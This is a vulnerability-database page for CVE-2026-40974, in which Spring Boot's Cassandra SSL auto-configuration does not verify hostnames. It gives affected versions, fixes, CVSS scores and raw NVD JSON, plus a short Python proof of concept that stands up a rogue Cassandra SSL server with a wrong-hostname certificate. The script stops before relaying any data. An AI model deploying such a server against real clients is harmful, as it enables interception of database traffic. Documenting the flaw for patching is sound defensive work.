Security Vulnerability Report
中文
CVE-2026-40974 CVSS 5.0 MEDIUM

CVE-2026-40974

Published: 2026-04-28 00:16:25
Last Modified: 2026-05-14 16:00:27

Description

Spring Boot's Cassandra auto-configuration does not perform hostname verification when establishing an SSL connection to Cassandra. Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); Cassandra SSL auto-configuration. Versions that are no longer supported are also affected per vendor advisory.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:* - VULNERABLE
Spring Boot 4.0.0 - 4.0.5
Spring Boot 3.5.0 - 3.5.13
Spring Boot 3.4.0 - 3.4.15
Spring Boot 3.3.0 - 3.3.18
Spring Boot 2.7.0 - 2.7.32

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# POC Concept: Demonstration of Man-in-the-Middle setup # Attacker sets up a proxy with a valid certificate (wrong hostname) to intercept traffic. import socket import ssl # This script simulates a malicious server that an attacker would deploy. # If the vulnerable Spring Boot app connects without verifying the hostname, # the connection succeeds, proving the vulnerability. def start_malicious_server(): context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) # Load a valid certificate signed by a trusted CA, but for a different hostname context.load_cert_chain(certfile='attacker-cert.pem', keyfile='attacker-key.pem') bindsocket = socket.socket() bindsocket.bind(('0.0.0.0', 9042)) bindsocket.listen(5) print("[+] Malicious Cassandra SSL proxy listening on port 9042...") print("[+] Waiting for vulnerable Spring Boot client to connect...") newsocket, fromaddr = bindsocket.accept() print(f"[+] Connection established from {fromaddr}") print("[!] Client accepted connection without hostname verification. Vulnerability confirmed.") try: stream = context.wrap_socket(newsocket, server_side=True) # In a real attack, data would be relayed here except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == "__main__": # Note: Requires 'attacker-cert.pem' and 'attacker-key.pem' to run start_malicious_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40974", "sourceIdentifier": "[email protected]", "published": "2026-04-28T00:16:24.523", "lastModified": "2026-05-14T16:00:26.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spring Boot's Cassandra auto-configuration does not perform hostname verification when establishing an SSL connection to Cassandra.\n\nAffected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); Cassandra SSL auto-configuration. Versions that are no longer supported are also affected per vendor advisory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.7.0", "versionEndExcluding": "2.7.33", "matchCriteriaId": "2838ED31-53BD-4663-9532-8E0E968E4013"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.19", "matchCriteriaId": "28EE6470-24FD-49D1-A2F0-7A19B290A161"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.16", "matchCriteriaId": "758A9E8F-0C52-43D9-8D84-69622B345A4E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.5.14", "matchCriteriaId": "D23096A1-8269-46C5-9215-9098E87D0A24"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.6", "matchCriteriaId": "12A166C5-8B55-4BA3-AA8B-6024A257D441"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-40974", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}